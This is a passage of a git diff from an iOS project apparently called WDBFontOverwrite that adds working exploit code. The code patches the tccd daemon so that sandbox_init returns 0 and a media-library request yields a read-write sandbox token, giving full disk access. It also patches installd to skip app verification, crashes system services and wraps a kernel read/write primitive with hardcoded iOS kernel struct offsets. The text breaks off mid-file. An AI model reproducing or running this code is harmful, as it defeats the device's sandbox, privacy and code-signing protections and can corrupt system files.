dyld_chained_ptr_arm64e_rebase targetRebase = + *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes + + offsets.offset_addr_s_kTCCServiceMediaLibrary); + targetRebase.target = offsets.offset_padding_space_for_read_write_string; + *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes + + offsets.offset_addr_s_kTCCServiceMediaLibrary) = + targetRebase; + *(uint64_t*)(mutableBytes + offsets.offset_addr_s_kTCCServiceMediaLibrary + 8) = + strlen("com.apple.app-sandbox.read-write"); + } + if (offsets.is_arm64e) { + // make sandbox_init call return 0; + struct dyld_chained_ptr_arm64e_auth_rebase targetRebase = { + .auth = 1, + .bind = 0, + .next = 1, + .key = 0, // IA + .addrDiv = 1, + .diversity = 0, + .target = offsets.offset_just_return_0, + }; + *(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes + + offsets.offset_auth_got__sandbox_init) = + targetRebase; + } else { + // make sandbox_init call return 0; + struct dyld_chained_ptr_64_rebase targetRebase = { + .bind = 0, + .next = 2, + .target = offsets.offset_just_return_0, + }; + *(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.offset_auth_got__sandbox_init) = + targetRebase; + } + return data; +} + +static bool overwrite_file(char* to, char* from) { + if(funVnodeOverwrite2(to, from) == 0) + return true; + return false; +} + +static void grant_full_disk_access_impl(void (^completion)(NSString* extension_token, + NSError* _Nullable error)) { + char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd"; + int fd = open(targetPath, O_RDONLY | O_CLOEXEC); + if (fd == -1) { + // iOS 15.3 and below + targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd"; + fd = open(targetPath, O_RDONLY | O_CLOEXEC); + } + off_t targetLength = lseek(fd, 0, SEEK_END); + lseek(fd, 0, SEEK_SET); + void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0); + + NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength]; + NSData* sourceData = patchTCCD(targetMap, targetLength); + if (!sourceData) { + completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" + code:5 + userInfo:@{NSLocalizedDescriptionKey : @"Can't patchfind."}]); + return; + } + + NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory inDomains:NSUserDomainMask][0]; + NSURL* tccd_orig = [documentDirectory URLByAppendingPathComponent:@"tccd_orig.bin"]; + NSURL* tccd_patched = [documentDirectory URLByAppendingPathComponent:@"tccd_patched.bin"]; + + [[NSFileManager defaultManager] removeItemAtURL:tccd_orig error:nil]; + [[NSFileManager defaultManager] removeItemAtURL:tccd_patched error:nil]; + + [originalData writeToURL:tccd_orig atomically:true]; + [sourceData writeToURL:tccd_patched atomically:true]; + +// if (!overwrite_file(targetPath, tccd_patched.path.UTF8String)) { +// overwrite_file(targetPath, tccd_orig.path.UTF8String); +// munmap(targetMap, targetLength); +// completion( +// nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" +// code:1 +// userInfo:@{ +// NSLocalizedDescriptionKey : @"Can't overwrite file: your device may " +// @"not be vulnerable to CVE-2022-46689." +// }]); +// return; +// } +// munmap(targetMap, targetLength); + +// xpc_crasher("com.apple.tccd"); +// sleep(1); + //Even FREEZING when overwrite original data +// overwrite_file(targetPath, tccd_orig.path.UTF8String); +// xpc_crasher("com.apple.tccd"); +// call_tccd(^(NSString* _Nullable extension_token) { +// overwrite_file(targetPath, tccd_orig.path.UTF8String); +// xpc_crasher("com.apple.tccd"); +// NSError* returnError = nil; +// if (extension_token == nil) { +// returnError = +// [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" +// code:2 +// userInfo:@{ +// NSLocalizedDescriptionKey : @"tccd did not return an extension token." +// }]; +// } else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) { +// returnError = [NSError +// errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" +// code:3 +// userInfo:@{ +// NSLocalizedDescriptionKey : @"tccd patch failed: returned a media library token " +// @"instead of an app sandbox token." +// }]; +// extension_token = nil; +// } +// completion(extension_token, returnError); +// }); +} + +void grant_full_disk_access(void (^completion)(NSError* _Nullable)) { + if (!NSClassFromString(@"NSPresentationIntent")) { + // class introduced in iOS 15.0. + // TODO(zhuowei): maybe check the actual OS version instead? + completion([NSError + errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" + code:6 + userInfo:@{ + NSLocalizedDescriptionKey : + @"Not supported on iOS 14 and below: on iOS 14 the system partition is not " + @"reverted after reboot, so running this may permanently corrupt tccd." + }]); + return; + } + NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory + inDomains:NSUserDomainMask][0]; + NSURL* sourceURL = + [documentDirectory URLByAppendingPathComponent:@"full_disk_access_sandbox_token.txt"]; + NSError* error = nil; + NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL + encoding:NSUTF8StringEncoding + error:&error]; + if (cachedToken) { + int64_t handle = sandbox_extension_consume(cachedToken.UTF8String); + if (handle > 0) { + // cached version worked + completion(nil); + return; + } + } + grant_full_disk_access_impl(^(NSString* extension_token, NSError* _Nullable error) { + if (error) { + completion(error); + return; + } + int64_t handle = sandbox_extension_consume(extension_token.UTF8String); + if (handle <= 0) { + completion([NSError + errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" + code:4 + userInfo:@{NSLocalizedDescriptionKey : @"Failed to consume generated extension"}]); + return; + } + [extension_token writeToURL:sourceURL + atomically:true + encoding:NSUTF8StringEncoding + error:&error]; + completion(nil); + }); +} + +/// MARK - installd patch +struct installd_remove_app_limit_offsets { + uint64_t offset_objc_method_list_t_MIInstallableBundle; + uint64_t offset_objc_class_rw_t_MIInstallableBundle_baseMethods; + uint64_t offset_data_const_end_padding; + // MIUninstallRecord::supportsSecureCoding + uint64_t offset_return_true; +}; + +struct installd_remove_app_limit_offsets gAppLimitOffsets = { + .offset_objc_method_list_t_MIInstallableBundle = 0x519b0, + .offset_objc_class_rw_t_MIInstallableBundle_baseMethods = 0x804e8, + .offset_data_const_end_padding = 0x79c38, + .offset_return_true = 0x19860, +}; + +static uint64_t patchfind_find_class_rw_t_baseMethods(void* executable_map, + size_t executable_length, + const char* needle) { + void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1); + if (!str_offset) { + return 0; + } + uint64_t str_file_offset = str_offset - executable_map; + for (int i = 0; i < executable_length - 8; i += 8) { + uint64_t val = *(uint64_t*)(executable_map + i); + if ((val & 0xfffffffful) != str_file_offset) { + continue; + } + // baseMethods + if (*(uint64_t*)(executable_map + i + 8) != 0) { + return i + 8; + } + } + return 0; +} + +static uint64_t patchfind_return_true(void* executable_map, size_t executable_length) { + // mov w0, #1 + // ret + static const char needle[] = {0x20, 0x00, 0x80, 0x52, 0xc0, 0x03, 0x5f, 0xd6}; + void* offset = memmem(executable_map, executable_length, needle, sizeof(needle)); + if (!offset) { + return 0; + } + return offset - executable_map; +} + +static bool patchfind_installd(void* executable_map, size_t executable_length, + struct installd_remove_app_limit_offsets* offsets) { + struct segment_command_64* data_const_segment = nil; + struct symtab_command* symtab_command = nil; + struct dysymtab_command* dysymtab_command = nil; + if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command, + &dysymtab_command)) { + printf("no sections\n"); + return false; + } + if ((offsets->offset_data_const_end_padding = patchfind_get_padding(data_const_segment)) == 0) { + printf("no padding\n"); + return false; + } + if ((offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods = + patchfind_find_class_rw_t_baseMethods(executable_map, executable_length, + "MIInstallableBundle")) == 0) { + printf("no MIInstallableBundle class_rw_t\n"); + return false; + } + offsets->offset_objc_method_list_t_MIInstallableBundle = + (*(uint64_t*)(executable_map + + offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) & + 0xffffffull; + + if ((offsets->offset_return_true = patchfind_return_true(executable_map, executable_length)) == + 0) { + printf("no return true\n"); + return false; + } + return true; +} + +struct objc_method { + int32_t name; + int32_t types; + int32_t imp; +}; + +struct objc_method_list { + uint32_t entsizeAndFlags; + uint32_t count; + struct objc_method methods[]; +}; + +static void patch_copy_objc_method_list(void* mutableBytes, uint64_t old_offset, + uint64_t new_offset, uint64_t* out_copied_length, + void (^callback)(const char* sel, + uint64_t* inout_function_pointer)) { + struct objc_method_list* original_list = mutableBytes + old_offset; + struct objc_method_list* new_list = mutableBytes + new_offset; + *out_copied_length = + sizeof(struct objc_method_list) + original_list->count * sizeof(struct objc_method); + new_list->entsizeAndFlags = original_list->entsizeAndFlags; + new_list->count = original_list->count; + for (int method_index = 0; method_index < original_list->count; method_index++) { + struct objc_method* method = &original_list->methods[method_index]; + // Relative pointers + uint64_t name_file_offset = ((uint64_t)(&method->name)) - (uint64_t)mutableBytes + method->name; + uint64_t types_file_offset = + ((uint64_t)(&method->types)) - (uint64_t)mutableBytes + method->types; + uint64_t imp_file_offset = ((uint64_t)(&method->imp)) - (uint64_t)mutableBytes + method->imp; + const char* sel = mutableBytes + (*(uint64_t*)(mutableBytes + name_file_offset) & 0xffffffull); + callback(sel, &imp_file_offset); + + struct objc_method* new_method = &new_list->methods[method_index]; + new_method->name = (int32_t)((int64_t)name_file_offset - + (int64_t)((uint64_t)&new_method->name - (uint64_t)mutableBytes)); + new_method->types = (int32_t)((int64_t)types_file_offset - + (int64_t)((uint64_t)&new_method->types - (uint64_t)mutableBytes)); + new_method->imp = (int32_t)((int64_t)imp_file_offset - + (int64_t)((uint64_t)&new_method->imp - (uint64_t)mutableBytes)); + } +}; + +static NSData* make_patch_installd(void* executableMap, size_t executableLength) { + struct installd_remove_app_limit_offsets offsets = {}; + if (!patchfind_installd(executableMap, executableLength, &offsets)) { + return nil; + } + + NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength]; + char* mutableBytes = data.mutableBytes; + uint64_t current_empty_space = offsets.offset_data_const_end_padding; + uint64_t copied_size = 0; + uint64_t new_method_list_offset = current_empty_space; + patch_copy_objc_method_list(mutableBytes, offsets.offset_objc_method_list_t_MIInstallableBundle, + current_empty_space, &copied_size, + ^(const char* sel, uint64_t* inout_address) { + if (strcmp(sel, "performVerificationWithError:") != 0) { + return; + } + *inout_address = offsets.offset_return_true; + }); + current_empty_space += copied_size; + ((struct + dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes + + offsets + .offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) + ->target = new_method_list_offset; + return data; +} + +bool patch_installd() { + const char* targetPath = "/usr/libexec/installd"; + int fd = open(targetPath, O_RDONLY | O_CLOEXEC); + off_t targetLength = lseek(fd, 0, SEEK_END); + lseek(fd, 0, SEEK_SET); + void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0); + + NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength]; + NSData* sourceData = make_patch_installd(targetMap, targetLength); + + NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory inDomains:NSUserDomainMask][0]; + NSURL* installd_orig = [documentDirectory URLByAppendingPathComponent:@"installd.bin"]; + NSURL* installd_patched = [documentDirectory URLByAppendingPathComponent:@"installd_patched.bin"]; + + [[NSFileManager defaultManager] removeItemAtURL:installd_orig error:nil]; + [[NSFileManager defaultManager] removeItemAtURL:installd_patched error:nil]; + + [originalData writeToURL:installd_orig atomically:true]; + [sourceData writeToURL:installd_patched atomically:true]; + + if (!sourceData) { + NSLog(@"can't patchfind"); + return false; + } + + if (!overwrite_file(targetPath, installd_patched.path.UTF8String)) { + overwrite_file(targetPath, installd_orig.path.UTF8String); + munmap(targetMap, targetLength); + NSLog(@"can't overwrite"); + return false; + } + munmap(targetMap, targetLength); + xpc_crasher("com.apple.mobile.installd"); + sleep(1); + + // TODO(zhuowei): for now we revert it once installd starts + // so the change will only last until when this installd exits + overwrite_file(targetPath, installd_orig.path.UTF8String); + + return true; +} diff --git a/WDBFontOverwrite/helpers.h b/WDBFontOverwrite/fun/helpers.h similarity index 80% rename from WDBFontOverwrite/helpers.h rename to WDBFontOverwrite/fun/helpers.h index aaf9f94..1c21342 100644 --- a/WDBFontOverwrite/helpers.h +++ b/WDBFontOverwrite/fun/helpers.h @@ -7,6 +7,10 @@ char* set_up_tmp_file(void); void xpc_crasher(char* service_name); +void restartBackboard(void); +void restartFrontboard(void); + + #define ROUND_DOWN_PAGE(val) (val & ~(PAGE_SIZE - 1ULL)) #endif /* helpers_h */ diff --git a/WDBFontOverwrite/helpers.m b/WDBFontOverwrite/fun/helpers.m similarity index 93% rename from WDBFontOverwrite/helpers.m rename to WDBFontOverwrite/fun/helpers.m index 6231ec6..1069727 100644 --- a/WDBFontOverwrite/helpers.m +++ b/WDBFontOverwrite/fun/helpers.m @@ -128,3 +128,13 @@ void xpc_crasher(char* service_name) { return; } + +void restartBackboard(void) { + xpc_crasher("com.apple.backboard.TouchDeliveryPolicyServer"); +} + +void restartFrontboard(void) { + // NOTE: This will not kill your app on some versions + // You may also need to exit(0) afterwards + xpc_crasher("com.apple.frontboard.systemappservices"); +} diff --git a/WDBFontOverwrite/fun/krw.c b/WDBFontOverwrite/fun/krw.c new file mode 100644 index 0000000..44df0f9 --- /dev/null +++ b/WDBFontOverwrite/fun/krw.c @@ -0,0 +1,96 @@ +// +// krw.c +// kfd +// +// Created by Seo Hyun-gyu on 2023/07/29. +// + +#include "krw.h" +#include "libkfd.h" +#include "helpers.h" + +uint64_t _kfd = 0; + +uint64_t do_kopen(uint64_t puaf_pages, uint64_t puaf_method, uint64_t kread_method, uint64_t kwrite_method) +{ + _kfd = kopen(puaf_pages, puaf_method, kread_method, kwrite_method); + return _kfd; +} + +void do_kclose(u64 kfd) +{ + kclose((struct kfd*)(_kfd)); +} + +void do_kread(u64 kaddr, void* uaddr, u64 size) +{ + kread(_kfd, kaddr, uaddr, size); +} + +void do_kwrite(void* uaddr, u64 kaddr, u64 size) +{ + kwrite(_kfd, uaddr, kaddr, size); +} + +uint64_t get_kslide(void) { + return ((struct kfd*)_kfd)->perf.kernel_slide; +} + +uint64_t get_kernproc(void) { + return ((struct kfd*)_kfd)->info.kaddr.kernel_proc; +} + +uint8_t kread8(uint64_t where) { + uint8_t out; + kread(_kfd, where, &out, sizeof(uint8_t)); + return out; +} +uint32_t kread16(uint64_t where) { + uint16_t out; + kread(_kfd, where, &out, sizeof(uint16_t)); + return out; +} +uint32_t kread32(uint64_t where) { + uint32_t out; + kread(_kfd, where, &out, sizeof(uint32_t)); + return out; +} +uint64_t kread64(uint64_t where) { + uint64_t out; + kread(_kfd, where, &out, sizeof(uint64_t)); + return out; +} + +void kwrite8(uint64_t where, uint8_t what) { + uint8_t _buf[8] = {}; + _buf[0] = what; + _buf[1] = kread8(where+1); + _buf[2] = kread8(where+2); + _buf[3] = kread8(where+3); + _buf[4] = kread8(where+4); + _buf[5] = kread8(where+5); + _buf[6] = kread8(where+6); + _buf[7] = kread8(where+7); + kwrite((u64)(_kfd), &_buf, where, sizeof(u64)); +} + +void kwrite16(uint64_t where, uint16_t what) { + u16 _buf[4] = {}; + _buf[0] = what; + _buf[1] = kread16(where+2); + _buf[2] = kread16(where+4); + _buf[3] = kread16(where+6); + kwrite((u64)(_kfd), &_buf, where, sizeof(u64)); +} + +void kwrite32(uint64_t where, uint32_t what) { + u32 _buf[2] = {}; + _buf[0] = what; + _buf[1] = kread32(where+4); + kwrite((u64)(_kfd), &_buf, where, sizeof(u64)); +} +void kwrite64(uint64_t where, uint64_t what) { + u64 _buf[1] = {}; + _buf[0] = what; + kwrite((u64)(_kfd), &_buf, where, sizeof(u64)); +} diff --git a/WDBFontOverwrite/fun/krw.h b/WDBFontOverwrite/fun/krw.h new file mode 100644 index 0000000..eeec978 --- /dev/null +++ b/WDBFontOverwrite/fun/krw.h @@ -0,0 +1,30 @@ +// +// krw.h +// kfd +// +// Created by Seo Hyun-gyu on 2023/07/29. +// + +#ifndef krw_h +#define krw_h + +#include + + + +uint64_t do_kopen(uint64_t puaf_pages, uint64_t puaf_method, uint64_t kread_method, uint64_t kwrite_method); +void do_kclose(uint64_t kfd); +void do_kread(uint64_t kaddr, void* uaddr, uint64_t size); +void do_kwrite(void* uaddr, uint64_t kaddr, uint64_t size); +uint64_t get_kslide(void); +uint64_t get_kernproc(void); +uint8_t kread8(uint64_t where); +uint32_t kread16(uint64_t where); +uint32_t kread32(uint64_t where); +uint64_t kread64(uint64_t where); +void kwrite8(uint64_t where, uint8_t what); +void kwrite16(uint64_t where, uint16_t what); +void kwrite32(uint64_t where, uint32_t what); +void kwrite64(uint64_t where, uint64_t what); + +#endif /* krw_h */ diff --git a/WDBFontOverwrite/fun/offsets.h b/WDBFontOverwrite/fun/offsets.h new file mode 100644 index 0000000..e52f2d0 --- /dev/null +++ b/WDBFontOverwrite/fun/offsets.h @@ -0,0 +1,68 @@ +// +// offsets.h +// kfd +// +// Created by Seo Hyun-gyu on 2023/07/29. +// + +#include + +extern uint32_t off_p_list_le_prev; +extern uint32_t off_p_proc_ro; +extern uint32_t off_p_ppid; +extern uint32_t off_p_original_ppid; +extern uint32_t off_p_pgrpid; +extern uint32_t off_p_uid; +extern uint32_t off_p_gid; +extern uint32_t off_p_ruid; +extern uint32_t off_p_rgid; +extern uint32_t off_p_svuid; +extern uint32_t off_p_svgid; +extern uint32_t off_p_sessionid; +extern uint32_t off_p_puniqueid; +extern uint32_t off_p_pid; +extern uint32_t off_p_pfd; +extern uint32_t off_p_textvp; +extern uint32_t off_p_name; +extern uint32_t off_p_ro_p_csflags; +extern uint32_t off_p_ro_p_ucred; +extern uint32_t off_p_ro_pr_proc; +extern uint32_t off_p_ro_pr_task; +extern uint32_t off_p_ro_t_flags_ro; +extern uint32_t off_u_cr_label; +extern uint32_t off_u_cr_posix; +extern uint32_t off_cr_uid; +extern uint32_t off_cr_ruid; +extern uint32_t off_cr_svuid; +extern uint32_t off_cr_ngroups; +extern uint32_t off_cr_groups; +extern uint32_t off_cr_rgid; +extern uint32_t off_cr_svgid; +extern uint32_t off_cr_gmuid; +extern uint32_t off_cr_flags; +extern uint32_t off_task_t_flags; +extern uint32_t off_fd_ofiles; +extern uint32_t off_fp_glob; +extern uint32_t off_fg_data; +extern uint32_t off_fg_flag; +extern uint32_t off_vnode_v_iocount; +extern uint32_t off_vnode_v_usecount; +extern uint32_t off_vnode_v_flag; +extern uint32_t off_vnode_v_name; +extern uint32_t off_vnode_v_mount; +extern uint32_t off_vnode_v_data; +extern uint32_t off_vnode_v_kusecount; +extern uint32_t off_vnode_v_references; +extern uint32_t off_vnode_v_parent; +extern uint32_t off_vnode_v_label; +extern uint32_t off_vnode_v_cred; +extern uint32_t off_vnode_v_writecount; +extern uint32_t off_vnode_v_type; +extern uint32_t off_mount_mnt_data; +extern uint32_t off_mount_mnt_fsowner; +extern uint32_t off_mount_mnt_fsgroup; +extern uint32_t off_mount_mnt_devvp; +extern uint32_t off_mount_mnt_flag; +extern uint32_t off_specinfo_si_flags; + +void _offsets_init(void); diff --git a/WDBFontOverwrite/fun/offsets.m b/WDBFontOverwrite/fun/offsets.m new file mode 100644 index 0000000..c9623e4 --- /dev/null +++ b/WDBFontOverwrite/fun/offsets.m @@ -0,0 +1,161 @@ +// +// offsets.c +// kfd +// +// Created by Seo Hyun-gyu on 2023/07/29. +// + +#include "offsets.h" +#include +#include + +uint32_t off_p_list_le_prev = 0; +uint32_t off_p_proc_ro = 0; +uint32_t off_p_ppid = 0; +uint32_t off_p_original_ppid = 0; +uint32_t off_p_pgrpid = 0; +uint32_t off_p_uid = 0; +uint32_t off_p_gid = 0; +uint32_t off_p_ruid = 0; +uint32_t off_p_rgid = 0; +uint32_t off_p_svuid = 0; +uint32_t off_p_svgid = 0; +uint32_t off_p_sessionid = 0; +uint32_t off_p_puniqueid = 0; +uint32_t off_p_pid = 0; +uint32_t off_p_pfd = 0; +uint32_t off_p_textvp = 0; +uint32_t off_p_name = 0; +uint32_t off_p_ro_p_csflags = 0; +uint32_t off_p_ro_p_ucred = 0; +uint32_t off_p_ro_pr_proc = 0; +uint32_t off_p_ro_pr_task = 0; +uint32_t off_p_ro_t_flags_ro = 0; +uint32_t off_u_cr_label = 0; +uint32_t off_u_cr_posix = 0; +uint32_t off_cr_uid = 0; +uint32_t off_cr_ruid = 0; +uint32_t off_cr_svuid = 0; +uint32_t off_cr_ngroups = 0; +uint32_t off_cr_groups = 0; +uint32_t off_cr_rgid = 0; +uint32_t off_cr_svgid = 0; +uint32_t off_cr_gmuid = 0; +uint32_t off_cr_flags = 0; +uint32_t off_task_t_flags = 0; +uint32_t off_fd_ofiles = 0; +uint32_t off_fp_glob = 0; +uint32_t off_fg_data = 0; +uint32_t off_fg_flag = 0; +uint32_t off_vnode_v_iocount = 0; +uint32_t off_vnode_v_usecount = 0; +uint32_t off_vnode_v_flag = 0; +uint32_t off_vnode_v_name = 0; +uint32_t off_vnode_v_mount = 0; +uint32_t off_vnode_v_data = 0; +uint32_t off_vnode_v_kusecount = 0; +uint32_t off_vnode_v_references = 0; +uint32_t off_vnode_v_parent = 0; +uint32_t off_vnode_v_label = 0; +uint32_t off_vnode_v_cred = 0; +uint32_t off_vnode_v_writecount = 0; +uint32_t off_vnode_v_type = 0; +uint32_t off_mount_mnt_data = 0; +uint32_t off_mount_mnt_fsowner = 0; +uint32_t off_mount_mnt_fsgroup = 0; +uint32_t off_mount_mnt_devvp = 0; +uint32_t off_mount_mnt_flag = 0; +uint32_t off_specinfo_si_flags = 0; + +#define SYSTEM_VERSION_EQUAL_TO(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedSame) + +void _offsets_init(void) { +// if (SYSTEM_VERSION_EQUAL_TO(@"16.1.2")) { +// printf("[i] offsets selected for iOS 16.1.2\n"); + //iPhone 14 Pro 16.1.2 offsets + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/proc_internal.h#L273 + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/queue.h#L487 + off_p_list_le_prev = 0x8; + off_p_proc_ro = 0x18; + off_p_ppid = 0x20; + off_p_original_ppid = 0x24; + off_p_pgrpid = 0x28; + off_p_uid = 0x2c; + off_p_gid = 0x30; + off_p_ruid = 0x34; + off_p_rgid = 0x38; + off_p_svuid = 0x3c; + off_p_svgid = 0x40; + off_p_sessionid = 0x44; + off_p_puniqueid = 0x48; + off_p_pid = 0x60; + off_p_pfd = 0xf8; + off_p_textvp = 0x350; + off_p_name = 0x381; + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/proc_ro.h#L59 + off_p_ro_p_csflags = 0x1c; + off_p_ro_p_ucred = 0x20; + off_p_ro_pr_proc = 0; + off_p_ro_pr_task = 0x8; + off_p_ro_t_flags_ro = 0x78; + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/ucred.h#L91 + off_u_cr_label = 0x78; + off_u_cr_posix = 0x18; + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/ucred.h#L100 + off_cr_uid = 0; + off_cr_ruid = 0x4; + off_cr_svuid = 0x8; + off_cr_ngroups = 0xc; + off_cr_groups = 0x10; + off_cr_rgid = 0x50; + off_cr_svgid = 0x54; + off_cr_gmuid = 0x58; + off_cr_flags = 0x5c; + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/osfmk/kern/task.h#L280 + off_task_t_flags = 0x3D0; + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/filedesc.h#L138 + off_fd_ofiles = 0; + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/file_internal.h#L125 + off_fp_glob = 0x10; + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/file_internal.h#L179 + off_fg_data = 0x38; + off_fg_flag = 0x10; + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/vnode_internal.h#L158 + off_vnode_v_iocount = 0x64; + off_vnode_v_usecount = 0x60; + off_vnode_v_flag = 0x54; + off_vnode_v_name = 0xb8; + off_vnode_v_mount = 0xd8; + off_vnode_v_data = 0xe0; + off_vnode_v_kusecount = 0x5c; + off_vnode_v_references = 0x5b; + off_vnode_v_parent = 0xc0; + off_vnode_v_label = 0xe8; + off_vnode_v_cred = 0x98; + off_vnode_v_writecount = 0xb0; + off_vnode_v_type = 0x70; + + //https://github.com/apple-oss-distributions/xnu/blob/main/bsd/sys/mount_internal.h#L108 + off_mount_mnt_data = 0x11F; + off_mount_mnt_fsowner = 0x9c0; + off_mount_mnt_fsgroup = 0x9c4; + off_mount_mnt_devvp = 0x980; + off_mount_mnt_flag = 0x70; + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/miscfs/specfs/specdev.h#L77 + off_specinfo_si_flags = 0x10; + +// } else { +// printf("[-] No matching offsets.\n"); +// exit(EXIT_FAILURE); + } +//} diff --git a/WDBFontOverwrite/fun/proc.c b/WDBFontOverwrite/fun/proc.c new file mode 100644 index 0000000..b54ed11 --- /dev/null +++ b/WDBFontOverwrite/fun/proc.c @@ -0,0 +1,96 @@ +// +// proc.c +// kfd +// +// Created by Seo Hyun-gyu on 2023/07/29. +// + +#include "proc.h" +#include "offsets.h" +#include "krw.h" +#include +#include +#include + +uint64_t getProc(pid_t pid) { + printf("get kernproc\n"); + uint64_t proc = get_kernproc(); + + while (true) { + if(kread32(proc + off_p_pid) == pid) { + return proc; + } + proc = kread64(proc + off_p_list_le_prev); + } + + return 0; +} + +uint64_t getProcByName(char* nm) { + uint64_t proc = get_kernproc(); + + while (true) { + uint64_t nameptr = proc + off_p_name; + char name[32]; + do_kread(nameptr, &name, 32); +// printf("[i] pid: %d, process name: %s\n", kread32(proc + off_p_pid), name); + if(strcmp(name, nm) == 0) { + return proc; + } + proc = kread64(proc + off_p_list_le_prev); + } + + return 0; +} + +int getPidByName(char* nm) { + return kread32(getProcByName(nm) + off_p_pid); +} + +int funProc(uint64_t proc) { + int p_ppid = kread32(proc + off_p_ppid); + printf("[i] self proc->p_ppid: %d\n", p_ppid); + printf("[i] Patching proc->p_ppid %d -> 1 (for testing kwrite32, getppid)\n", p_ppid); + kwrite32(proc + off_p_ppid, 0x1); + printf("[+] Patched getppid(): %u\n", getppid()); + kwrite32(proc + off_p_ppid, p_ppid); + printf("[+] Restored getppid(): %u\n", getppid()); + + int p_original_ppid = kread32(proc + off_p_original_ppid); + printf("[i] self proc->p_original_ppid: %d\n", p_original_ppid); + + int p_pgrpid = kread32(proc + off_p_pgrpid); + printf("[i] self proc->p_pgrpid: %d\n", p_pgrpid); + + int p_uid = kread32(proc + off_p_uid); + printf("[i] self proc->p_uid: %d\n", p_uid); + + int p_gid = kread32(proc + off_p_gid); + printf("[i] self proc->p_gid: %d\n", p_gid); + + int p_ruid = kread32(proc + off_p_ruid); + printf("[i] self proc->p_ruid: %d\n", p_ruid); + + int p_rgid = kread32(proc + off_p_rgid); + printf("[i] self proc->p_rgid: %d\n", p_rgid); + + int p_svuid = kread32(proc + off_p_svuid); + printf("[i] self proc->p_svuid: %d\n", p_svuid); + + int p_svgid = kread32(proc + off_p_svgid); + printf("[i] self proc->p_svgid: %d\n", p_svgid); + + int p_sessionid = kread32(proc + off_p_sessionid); + printf("[i] self proc->p_sessionid: %d\n", p_sessionid); + + uint64_t p_puniqueid = kread64(proc + off_p_puniqueid); + printf("[i] self proc->p_puniqueid: 0x%llx\n", p_puniqueid); + + printf("[i] Patching proc->p_puniqueid 0x%llx -> 0x4142434445464748 (for testing kwrite64)\n", p_puniqueid); + kwrite64(proc + off_p_puniqueid, 0x4142434445464748); + printf("[+] Patched self proc->p_puniqueid: 0x%llx\n", kread64(proc + off_p_puniqueid)); + kwrite64(proc + off_p_puniqueid, p_puniqueid); + printf("[+] Restored self proc->p_puniqueid: 0x%llx\n", kread64(proc + off_p_puniqueid)); + + return 0; +} diff --git a/WDBFontOverwrite/fun/proc.h b/WDBFontOverwrite/fun/proc.h new file mode 100644 index 0000000..0be6af1 --- /dev/null +++ b/WDBFontOverwrite/fun/proc.h @@ -0,0 +1,14 @@ +// +// proc.h +// kfd +// +// Created by Seo Hyun-gyu on 2023/07/29. +// + +#include + +uint64_t getProc(pid_t pid); +uint64_t getProcByName(char* nm); +int getPidByName(char* nm); + +int funProc(uint64_t proc); diff --git a/WDBFontOverwrite/fun/thanks_opa334dev_htrowii.h b/WDBFontOverwrite/fun/thanks_opa334dev_htrowii.h new file mode 100644 index 0000000..290698f --- /dev/null +++ b/WDBFontOverwrite/fun/thanks_opa334dev_htrowii.h @@ -0,0 +1,10 @@ +// +// thanks_opa334dev_htrowii.h +// kfd +// +// Created by Seo Hyun-gyu on 2023/07/30. +// +#import + +uint64_t funVnodeOverwrite2(char* tofile, char* fromfile); +uint64_t funVnodeOverwriteWithBytes(const char* filename, off_t file_offset, const void* overwrite_data, size_t overwrite_length, bool unmapAtEnd); diff --git a/WDBFontOverwrite/fun/thanks_opa334dev_htrowii.m b/WDBFontOverwrite/fun/thanks_opa334dev_htrowii.m new file mode 100644 index 0000000..890d72e --- /dev/null +++ b/WDBFontOverwrite/fun/thanks_opa334dev_htrowii.m @@ -0,0 +1,251 @@ +// +// thanks_opa334dev_htrowii.m +// kfd +// +// Created by Seo Hyun-gyu on 2023/07/30. +// + +#import +#import +#import +#import "krw.h" +#import "proc.h" + +#define FLAGS_PROT_SHIFT 7 +#define FLAGS_MAXPROT_SHIFT 11 +//#define FLAGS_PROT_MASK 0xF << FLAGS_PROT_SHIFT +//#define FLAGS_MAXPROT_MASK 0xF << 